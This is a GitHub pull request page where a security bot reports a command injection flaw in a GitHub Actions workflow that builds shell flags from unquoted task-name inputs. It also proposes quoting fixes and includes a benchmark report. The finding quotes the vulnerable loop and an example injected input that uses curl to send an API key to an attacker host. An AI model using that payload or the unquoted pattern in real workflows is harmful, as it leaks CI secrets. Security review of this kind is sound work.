Summarization Experiment

[Maahir Sachdev (maahir30)]

based of this: https://papers.cool/arxiv/2512.22087

[corridor-security]

Security Issues

• Command Injection in GitHub Actions workflow
  User-controlled input from workflow_dispatch (task_names / task_names_override) is split and directly appended to a shell command without quoting: task_name_flags="$task_name_flags --task-name $task", then expanded unquoted in the uv run invocation. A malicious task name (e.g., containing ;, backticks, or $(...)) can break out of the argument context and execute arbitrary shell commands on the GitHub Actions runner. Since this job loads repository secrets (e.g., ANTHROPIC_API_KEY, OPENROUTER_API_KEY, etc.), an attacker with permission to trigger the workflow could exfiltrate secrets.

---

.github/workflows/harbor.yml (line 390)

Untrusted workflow inputs (task_names / task_names_override) are split and appended to a shell command without quoting, enabling command injection on the Actions runner.

Vulnerable construction:

for task in "${TASKS[@]}"; do
  task=$(echo "$task" | xargs)
  task_name_flags="$task_name_flags --task-name $task"
done
...
uv run harbor run \
  ... \
  $task_name_flags \
  --jobs-dir jobs/terminal-bench \
  ...

An attacker who can trigger this workflow_dispatch could supply a task name like foo; curl https://attacker.tld/x?$ANTHROPIC_API_KEY to execute arbitrary commands and exfiltrate secrets configured for the job.

Remediation options:

• Safely quote each dynamic argument when building flags (e.g., using printf '%q').
• Prefer Bash arrays for argument construction and expansion: args+=(--task-name "$task") and later uv run ... "${args[@]}".

Minimal single-line fix for the vulnerable line:

              task_name_flags="$task_name_flags --task-name $(printf '%q' "$task")" 

For more details, see the finding in Corridor.

Provide feedback: Reply with whether this is a valid vulnerability or false positive to help improve Corridor's accuracy.

[codspeed-hq]

Merging this PR will not alter performance

✅ 32 untouched benchmarks
⏩ 15 skipped benchmarks¹

---

_{Comparing cat-experiment (ba7a620) with main (6e57731)²}

Footnotes

1. 15 benchmarks were skipped, so the baseline results were used instead. If they were deleted from the codebase, click here and archive them to remove them from the performance reports. ↩

2. No successful run was found on simplify-harbor (eaae7e7) during the generation of this report, so main (6e57731) was used instead as the comparison base. There might be some changes unrelated to this pull request in this report. ↩